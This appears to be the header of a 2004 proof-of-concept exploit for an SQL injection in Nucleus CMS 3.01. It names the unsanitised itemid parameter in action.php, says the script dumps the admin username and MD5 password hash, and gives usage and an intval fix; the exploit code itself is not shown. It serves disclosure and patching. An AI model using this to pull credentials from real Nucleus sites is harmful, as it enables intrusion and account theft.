NucleusCMS 3.01 SQL Injection Vulnerability
#!/usr/bin/php
<?
// Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept
// By aCiDBiTS acidbits@xxxxxxxxxxx 24-July-2004
//
// Nucleus CMS (http://nucleuscms.org) is a weblog php+mysql application.
//
// This Proof of Concept dumps the username and MD5(password) of the admin user
placed at first position
// of members table. First of all checks if we can use "union select" or it
isn't patched and then if first
// member is admin.
//
// Usage (in my debian box):
// php4 -q nuc_addc_poc.php URL
// Vulnerability description
//
// In action.php, function addcoment, there's no user input sanization for
parameter itemid. In line 65:
// $blogid = getBlogIDFromItemID($post['itemid']);
// This allows to inject SQL to get data form the database.
//
// Solution
//
// Modify line 65 with:
// $blogid = getBlogIDFromItemID(intval($post['itemid']));
